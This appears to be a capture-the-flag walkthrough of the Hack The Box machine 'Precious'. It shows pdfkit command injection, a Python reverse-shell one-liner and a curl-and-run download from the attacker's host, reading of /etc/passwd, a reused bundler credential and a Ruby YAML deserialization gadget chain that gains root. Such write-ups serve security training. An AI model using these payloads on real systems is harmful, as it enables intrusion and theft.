INDEX



Precious box HTB

Enumeration

  • nmap -sV -p- -A -Pn 10.10.11.189
      PORT   STATE SERVICE VERSION
      22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
      | ssh-hostkey: 
      |   3072 845e13a8e31e20661d235550f63047d2 (RSA)
      |   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
      |_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
      80/tcp open  http    nginx 1.18.0
      |_http-title: Did not follow redirect to http://precious.htb/
      |_http-server-header: nginx/1.18.0
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    

    the site is redirecting me to http://precious.htb/, so I add it to the /etc/hosts file

  • nmap -p80 -A -sCV precious.htb

      Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 21:07 CET
      Nmap scan report for precious.htb (10.10.11.189)
      Host is up (0.047s latency).
    
      PORT   STATE SERVICE VERSION
      80/tcp open  http    nginx 1.18.0
      |_http-title: Convert Web Page to PDF
      | http-server-header: 
      |   nginx/1.18.0
      |_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
    

    I notice that site’s webserver is nginx 1.18.0 + Phusion Passenger(R) 6.0.15

  • gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://precious.htb/
    
    
  • gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://precious.htb/
    
    
  • I visit the website:
      <!DOCTYPE html>
      <html>
      <head>
          <title>Convert Web Page to PDF</title>
          <link rel="stylesheet" href="stylesheets/style.css">
      </head>
      <body>
          <div class="wrapper">
              <h1 class="title">Convert Web Page to PDF</h1>
              <form action="/" method="post">
                  <p>Enter URL to fetch</p><br>
                  <input type="text" name="url" value="">
                  <input type="submit" value="Submit">
              </form>
              <h2 class="msg"></h2>
          </div> 
      </body>
      </html>
    
  • I enter as URL http://10.10.14.49:4444 and I get
      GET / HTTP/1.1
      Host: 10.10.14.49:4444
      User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Connection: Keep-Alive
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,*
    

    thanks to the header wkhtmltopdf Version/10.0 I find immediately: https://github.com/advisories/GHSA-36cg-hvm7-mhwp

    exploit: https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536all version ( <=0.12.5 )

    I create a 111.html file

      <!DOCTYPE html>
      <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
      <body>
    
      <script>
      x=new XMLHttpRequest;
      x.onload=function(){ document.write(this.responseText) };
      x.open("GET","file:///etc/passwd");
      x.send();
      </script>
    
      </body></html>
    

    python3 -m http.server 8000 --directory . and put as path http://10.10.14.49:8000/111.html

    the pdf that I get in output is empty, maybe the --disable-local-file-access flag is active

  • inserting http://localhost:80 or http://127.0.0.1:80 will only load the page but not download the pdf

  • whatweb http://precious.htb/
      http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
    

    server side is present the web framework: Ruby-on-Rails

    Phusion Passenger(R) 6.0.15 is interesting: A fast and robust web server and application server for Ruby, Python and Node.js

    has no known vulnerabilities that version because it is up-to-date: https://github.com/phusion/passenger/releases

  • I look at the content of the pdf that is returned to me and I discover some interesting things:
      %PDF-1.4
      %âã
      1 0 obj
      <<
      /Title ()
      /Creator (þÿwkhtmltopdf 0.12.6)
      /Producer (þÿQt 5.15.2)
      /CreationDate (D:20221202110018-05'00')
    
    
    
      %BeginExifToolUpdate
      1 0 obj
      <<
      /Creator (Generated by pdfkit v0.8.6)
      >>
      endobj
      11 0 obj
      <<
      /Type /Metadata
      /Subtype /XML
      /Length 2829
      >>
      stream
      <?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
      <x:xmpmeta xmlns:x='adobe:ns:meta/'>
      <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
          <rdf:Description rdf:about=''
              xmlns:dc='http://purl.org/dc/elements/1.1/'>
              <dc:creator>
                  <rdf:Seq>
                      <rdf:li>Generated by pdfkit v0.8.6</rdf:li>
                  </rdf:Seq>
              </dc:creator>
          </rdf:Description>
      </rdf:RDF>
      </x:xmpmeta>
    

    the creator had fun putting a vulnerable version in the User-Agent but in reality the one fixed immediately after is used: wkhtmltopdf 0.12.6

    Generated by pdfkit v0.8.6 also appears in the pdf, so double trickery!

    this version is vulnerable CVE-2022-25765



Web exploitation



Method 1

  • https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

    I try to run sleep command (blind-command-injection)

      http://10.10.14.49/?name=#{'%20`sleep 5`'}
    

    the website waits 5 seconds after sending HTTP GET request, it really works!

    I can try to put a reverse shell and see what happens

      http://10.10.14.49/?name=#{'%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.49",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`'}
    

    Bingo! Now I’m the ruby user



Method 2

  • https://github.com/advisories/GHSA-rhwx-hjx2-x4qr

      Package             Affected versions       Patched versions
      pdfkit (RubyGems)       < 0.8.7.2               0.8.7.2
    

    exploit: https://github.com/pdfkit/pdfkit/issues/517 → it’s all URL encoded, thus breaking bash commands

    http://10.10.14.49:8000/?home=$HOME

      Directory listing for /?home=/home/ruby
    

    http://10.10.14.49:8000/?whoami=$(whoami)

      Directory listing for /?whoami=ruby
    

    http://10.10.14.49:8000/?ls=$(ls)

      Directory listing for /?ls=app config config.ru Gemfile Gemfile.lock pdf public
    

    http://10.10.14.49:8000/?pwd=$(pwd)

      Directory listing for /?pwd=/var/www/pdfapp
    

    spaces are URL encoded and it doesn’t understand bash command, I try to bypass the problem by not using space character https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#bypass-forbidden-spaces

    http://10.10.14.49:8000/?passwd=$(cat$IFS/etc/passwd)

      Directory listing for /?passwd=
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin wwwdata:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System
      (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemdnetwork:x:101:102:systemd Network
      Management,,,:/run/systemd:/usr/sbin/nologin systemdresolve:x:102:103:systemd
      Resolver,,,:/run/systemd:/usr/sbin/nologin
      messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
      sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
      henry:x:1000:1000:henry,,,:/home/henry:/bin/bash systemdtimesync:x:999:999:systemd Time
      Synchronization:/:/usr/sbin/nologin systemdcoredump:x:998:998:systemd Core
      Dumper:/:/usr/sbin/nologin
      ruby:x:1001:1001::/home/ruby:/bin/bash
      _laurel:x:997:997::/var/log/laurel:/bin/false
    

    http://10.10.14.49:8000/?ls=$(ls$IFS-al$IFS$HOME)

      Directory listing for /?ls=
      total 848
      drwxr-xr-x 6 ruby ruby 4096 Dec 2 10:56 .
      drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
      lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
      -rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
      -rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
      dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
      drwxr-xr-x 4 ruby ruby 4096 Dec 2 10:27 .cache
      drwx------ 3 ruby ruby 4096 Dec 2 10:44 .gnupg
      drwxr-xr-x 3 ruby ruby 4096 Dec 2 10:56 .local
      -rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
    
  • I can’t open a connection with netcat: IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT

    I would have used it to write to file: FILE=revshell.sh;IP=10.10.14.49;PORT=4444;nc$IFS$IP$IFS$PORT|tee$IFS$FILE

    at least the ping works so there are no firewall rules: IP=10.10.14.49;ping$IFS-c1$IFS$IP

      Directory listing for /?ping=
      PING 10.10.14.49 (10.10.14.49) 56(84) bytes of data.
      64 bytes from 10.10.14.49: icmp_seq=1 ttl=63 time=36.7 ms
      --- 10.10.14.49 ping statistics ---
      1 packets transmitted, 1 received, 0% packet loss, time 0ms
      rtt min/avg/max/mdev = 36.731/36.731/36.731/0.000 ms
    
  • cat$IFS/var/www/pdfapp/app/controllers/pdf.rb
      class PdfControllers < Sinatra::Base
    
      configure do
          set :views, "app/views"
          set :public_dir, "public"
      end
    
      get '/' do
          erb :'index'
      end
    
      post '/' do
          url = ERB.new(params[:url]).result(binding)
          if url =~ /^https?:\/\//i
          filename = Array.new(32){rand(36).to_s(36)}.join + '.pdf'
          path = 'pdf/' + filename
    
          begin
              PDFKit.new(url).to_file(path)
              cmd = `exiftool -overwrite_original -all= -creator="Generated by pdfkit v0.8.6" -xmptoolkit= #{path}`
              send_file path, :disposition => 'attachment'
          rescue
              @msg = 'Cannot load remote URL!'
          end
    
          else
              @msg = 'You should provide a valid URL!'
          end
          erb :'index'
      end
      end
    

    there are no special checks, it just runs PDFKit

  • I try to download a reverse shell:

    FILE=revshell.sh;IP=10.10.14.49;PORT=8000;curl$IFS-o$IFS$HOME/$FILE$IFS$IP:$PORT/$FILE

  • the reverse shell has been successfully downloaded:

    http://10.10.14.49:8000/?ls=$(ls$IFS$HOME)

      Directory listing for /?ls=
      revshell.sh
    
  • I run the reverse shell: FILE=revshell.sh;bash$IFS$HOME/$FILE

    Bingo! Now I’m the ruby user



Privesc user

  • I run the script: linpeas.sh

      ╔══════════╣ Unexpected in /opt (usually empty)
      total 16
      drwxr-xr-x  3 root root 4096 Oct 26 08:28 .
      drwxr-xr-x 18 root root 4096 Nov 21 15:11 ..
      drwxr-xr-x  2 root root 4096 Oct 26 08:28 sample
      -rwxr-xr-x  1 root root  848 Sep 25 11:02 update_dependencies.rb
    
      ╔══════════╣ Searching root files in home dirs (limit 30)
      /home/henry/user.txt
      /home/henry/.bash_history
      /home/ruby/.bundle
      /home/ruby/.bundle/config
      /home/ruby/.bash_history
      /var/www
      /var/www/html
      /var/www/html/index.nginx-debian.html
      /var/www/pdfapp
      /var/www/pdfapp/public
      /var/www/pdfapp/public/images
      /var/www/pdfapp/public/stylesheets
      /var/www/pdfapp/public/stylesheets/style.css
      /var/www/pdfapp/config.ru
      /var/www/pdfapp/config
      /var/www/pdfapp/config/environment.rb
      /var/www/pdfapp/Gemfile
      /var/www/pdfapp/pdf
      /var/www/pdfapp/app
      /var/www/pdfapp/app/views
      /var/www/pdfapp/app/views/index.erb
      /var/www/pdfapp/app/controllers
      /var/www/pdfapp/app/controllers/pdf.rb
      /var/www/pdfapp/Gemfile.lock
    
  • cat /home/ruby/.bundle/config

      BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
    

    https://manpages.ubuntu.com/manpages/bionic/man1/bundle-config.1.html

    https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/package-managers/ruby/bundler/config.html

    could be anything, maybe the user’s password?

    sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@precious.htb → bingo!



Privesc root

  • sudo -l
      Matching Defaults entries for henry on precious:
          env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
      User henry may run the following commands on precious:
          (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
    

    so I can run sudo /opt/update_dependencies.rb with credentials: Q3c1AqGHtoI0aXAYFH

  • cat /opt/update_dependencies.rb
      # Compare installed dependencies with those specified in "dependencies.yml"
      require "yaml"
      require 'rubygems'
    
      # TODO: update versions automatically
      def update_gems()
      end
    
      def list_from_file
          YAML.load(File.read("dependencies.yml"))
      end
    
      def list_local_gems
          Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
      end
    
      gems_file = list_from_file
      gems_local = list_local_gems
    
      gems_file.each do |file_name, file_version|
          gems_local.each do |local_name, local_version|
              if(file_name == local_name)
                  if(file_version != local_version)
                      puts "Installed version differs from the one specified in file: " + local_name
                  else
                      puts "Installed version is equals to the one specified in file: " + local_name
                  end
              end
          end
      end
    

    cat /opt/sample/dependencies.yml

      yaml: 0.1.1
      pdfkit: 0.8.6
    
  • I can’t see what root does with pspy64: https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/

    /etc/fstab

      proc /proc proc defaults,nosuid,nodev,noexec,relatime,hidepid=2 0 0
    
  • gem list | grep -E "yaml|pdfkit"

      yaml (default: 0.1.0)
      pdfkit (0.8.6)
    

    a difference compared to the sample file is highlighted:

      yaml: 0.1.1
      yaml (default: 0.1.0)
    

    https://www.ruby-lang.org/en/news/2014/03/29/heap-overflow-in-yaml-uri-escape-parsing-cve-2014-2525/

    ruby -rpsych -e 'p Psych.libyaml_version'

      [0, 2, 2]
    

    the version looks different but moreover it doesn’t use psych in the script

  • https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

    https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml

    https://www.elttam.com/blog/ruby-deserialization/: RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN

      - !ruby/object:Gem::Installer
          i: x
      - !ruby/object:Gem::SpecFetcher
          i: y
      - !ruby/object:Gem::Requirement
          requirements:
            !ruby/object:Gem::Package::TarReader
            io: &1 !ruby/object:Net::BufferedIO
              io: &1 !ruby/object:Gem::Package::TarReader::Entry
                read: 0
                header: "abc"
              debug_output: &1 !ruby/object:Net::WriteAdapter
                socket: &1 !ruby/object:Gem::RequestSet
                    sets: !ruby/object:Net::WriteAdapter
                        socket: !ruby/module 'Kernel'
                        method_id: :system
                    git_set: id
                method_id: :resolve
    
      uid=0(root) gid=0(root) groups=0(root)